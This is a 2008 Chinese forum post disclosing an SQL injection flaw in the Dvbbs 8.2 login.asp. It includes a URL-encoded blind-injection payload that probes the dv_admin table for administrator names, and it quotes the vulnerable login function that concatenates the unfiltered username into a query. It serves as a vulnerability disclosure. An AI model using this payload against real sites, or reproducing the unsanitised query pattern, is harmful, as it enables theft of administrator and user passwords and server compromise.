找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 807|回复: 0

Dvbbs8.2 access/sql 版login.asp远程sql注入漏洞

[复制链接]

264

主题

210

回帖

621

牛毛

一级牛人

要不  我也改

积分
621
发表于 2008-6-1 12:54:24 | 显示全部楼层 |阅读模式 来自 陕西省西安市
Dvbbs8.2 access/sql 版login.asp远程sql注入漏洞
by where(hackerb@126.com)
漏洞描述:
中国应用最广泛的论坛程序,最新dvbbs8.2的注入漏洞0day 包括官方版本在内的access及sql版本。漏洞存在源程序 login.asp
Login.asp 程序在检查隐藏值user用户名的登陆时没有过滤特殊符号,导致可以利用sql注入方式猜解出论坛管理员及所有用户的密码或者执行其它高级的sql语句直接威胁到服务器安全。
漏洞等级:
高危


漏洞分析:
password=12***23&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25***01%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25***71%2527%253D%25***71
编辑说明下 刚有人问语句 具体就是
If ajaxPro Then username = unescape(username)
这个没有过滤
Login.asp 登陆
复制内容到剪贴板代码:

-----------------------------------------------------------------------------------------------------------------
Rem ==========论坛登录函数=========
Rem 判断用户登录
Function ChkUserLogin(username,password,mobile,usercookies,c[wiki]type[/wiki])
Dim rsUser,article,userclass,titlepic
Dim userhidden,lastip,UserLastLogin
Dim GroupID,ClassSql,FoundGrade
Dim regname,iMyUserInfo
Dim sql,sqlstr,OLDuserhidden
FoundGrade=False
lastip=Dvbbs.UserTrueIP
userhidden=request.form(\"userhidden\")
If userhidden <> \"1\" Then userhidden=2
ChkUserLogin=false
If mobile<>\"\" Then
sqlstr=\" Passport=&#39;\"&mobile&\"&#39;\"
Else
sqlstr=\" UserName=&#39;\"&username&\"&#39;\"
End If
Sql=\"Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,User**,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,lastlogin as cometime , LastLogin as activetime,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday,UserMoney,UserTicket,FollowMsgID,Vip_StarTime,Vip_EndTime,userid as boardid\"
Sql=Sql & \" From [Dv_User] Where “&sqlstr&”\"
set rsUser=Dvbbs.Execute(sql)
If rsUser.eof and rsUser.bof Then
’strString(”本论坛不存在该用户名.@@@@0″)
ChkUserLogin=False
Exit Function
Else
If rsUser(”Lockuser”) =1 Or rsUser(”UserGroupID”) =5 Then
ChkUserLogin=False
Exit Function
Else
If Trim(password)=Trim(rsUser(”UserPassword”)) Then
ChkUserLogin=True
Dvbbs.UserID=RsUser(”UserID”)
RegName = RsUser(”UserName”)
Article= RsUser(”UserPost”)
UserLastLogin = RsUser(”cometime”)
UserClass = RsUser(”Userclass”)
GroupID = RsUser(”userGroupID”)
OLDuserhidden=RsUser(”UserHidden”)
TitlePic = RsUser(”UserTitle”)
If Article < 0 Then Article=0
Set Dvbbs.UserSession=Dvbbs.RecordsetToxml(rsUser,”userinfo”,”xml”)
Dvbbs.UserSession.documentElement.selectSingleNode(”userinfo/@cometime”).text=Now()
Dvbbs.UserSession.documentElement.selectSingleNode(”userinfo/@activetime”).text=DateAdd(”s”,-3600,Now())
Dvbbs.UserSession.documentElement.selectSingleNode(”userinfo/@boardid”).text=0
Dvbbs.UserSession.documentElement.selectSingleNode(”userinfo”).attributes.setNamedItem(Dvbbs.UserSession.createNode(2,”isuserpermissionall”,”\")).text=Dvbbs.FoundUserPermission_All()
If OLDuserhidden <> CLng(userhidden) Then
Dvbbs.UserSession.documentElement.selectSingleNode(”userinfo/@userhidden”).text=userhidden
Dvbbs.Execute(”update Dv_user set userhidden=”&userhidden&” where UserId=” & Dvbbs.UserID)
End If
Dim BS
Set Bs=Dvbbs.GetBrowser()
Dvbbs.UserSession.documentElement.appendChild(Bs.documentElement)
If EnabledSession Then Session(Dvbbs.CacheName & “UserID”)=Dvbbs.UserSession.xml
Else
If ajaxPro Then
strString(”用户名或者密码不正确.@@@@0″)
End If
ChkUserLogin=False
Exit Function
End If
End If
End If
—————————————————————————————————————–

转载时请注明本帖子地址:http://www.hrhack.com/viewthread ... e%3D1&frombbs=1
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5用户社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-12 04:09 , Processed in 0.119782 second(s), 28 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表